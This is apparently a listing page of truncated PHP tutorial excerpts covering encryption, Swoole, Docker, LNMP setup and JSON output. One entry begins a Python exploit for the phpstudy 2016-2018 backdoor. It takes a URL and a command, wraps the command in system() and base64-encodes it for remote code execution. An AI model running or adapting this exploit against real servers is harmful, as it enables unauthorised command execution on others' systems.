Implementation code of AES/ECB/PKCS5Padding algorithm for secret key encryption and decryption of any length consistent with JAVA, Python and PHP

Recently, I encountered an AES encryption algorithm that needs to be implemented in Java, Python, and PHP. In fact, it is not very complicated in nature, but the parameter adjustment is quite troublesome. I found some reference materials and finally got it. The actual code is as follows: Main features The three languages of JAVA, […]

laravel-swoole extension installation + php installation Swoole extension

Install swoole extension Two methods to install php extension swoole Check whether the Swoole PHP extension is enabled on the server php -i | grep swoole 1. Install using pecl command pecl install swoole 2. Manual compilation and installation Use the following command to download the swoole installation package git clone https://github.com/swoole/swoole-src.git Unzip the source […]

PHP uses recursion to integrate its two-dimensional array into a hierarchical tree, where the hierarchical id is in a uuid format. The weird problem has been solved.

No more verbosity, just go directly to the source code. <?php function findChildren($list, $p_id){ $r = array(); foreach ($list as $k => $item) { if ($item[‘fid’] == $p_id) { unset($list[$k]); $length = count($r); $r[$length] = $item; if ($t = findChildren($list, $item[‘id’])) { $r[$length][‘children’] = $t; } } } return $r; } function findChildren2($list,$p_id, & amp;$sike=[]) […]

PHP Curl request encapsulation

curl request module encapsulation in php <?php namespace App\Utils; /** * http tool class * @author Administrator * */ class HttpUtils { private static $_instance; private function __construct() { } public static function getInstance() { if( null == self::$_instance ) { self::$_instance = new HttpUtils(); } return self::$_instance; } /** * http curl request * […]

Membership system construction based on PHP language (Docker version)

1. Operating system Preparation: ubuntu22 machine Basics: docker: [Selected] Docker Microservices-Basics_v2/_catalog-CSDN Blog 2. Install Docker # Add Docker’s official GPG key: sudo apt-get update sudo apt-get install ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg –dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a + r /etc/apt/keyrings/docker.gpg # Add the repository […]

[2016-2018] phpstudy exp production

[2016-2018]phpstudy’s exp production Written using python’s requests module Modify request packet for remote code execution import requests import base64 def remove_code_execute(): try: url = input(“Please enter the URL to be tested:”) cmd = input(“Command you want to execute:”) cmd = f”system(‘{<!– –>cmd}’);” cmd = base64.b64encode(cmd.encode()).decode() headers={<!– –> “User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 […]

Environmentally friendly website system based on php

Collect and follow to avoid getting lost Article directory 1. Project introduction 2. Development environment 3. Function introduction 4. Core code 5. Effect drawing 6. Article Table of Contents 1. Project introduction Environmental protection issues have always been a key issue of concern to our country. In recent years, our environmental awareness has gradually increased. […]

[Source code to set up distributed LNMP] Centos7+mysql8+php8+nginx1.24+wordpress

Distributed LNMP [centos7 + nginx1.24 + php8 + mysql8] Distributed source code deployment LNMP architecture Deploy MYSQL8 yum deploy cmake3 Source code deployment cmake3 Upgrade GCC to higher version Start deploying mysql Deploy NGINX Deploy PHP Upload wordpress package Install wordpress Try uploading a theme Distributed source code deployment LNMP architecture 192.168.100.62 Mysql 192.168.100.101 Nginx […]

Centos7 installs php7.4

(CentOS 7) Install PHP7.4 1. Install the EPEL package: yum -y install epel-release 2. Install remi source (after installation, there will be php source under /etc/yum.repos.d/): yum -y install http://rpms.remirepo.net/enterprise/remi-release-7.rpm 3. Install the yum extension package: yum -y install yum-utils 4. Install and install extensions yum -y –enablerepo=remi install php74-php php74-php-fpm php74-php-bcmath php74-php-ctype php74-php-curl php74-php-dom […]

How to convert ordinary data into json data in php

PHP API interface necessary to output json format data In daily development work, it is inevitable to write interfaces. The output of json format text is something that must be mastered when making interfaces. The current popular interfaces basically use json format data, simple php json file output How to generate json interface? Or how […]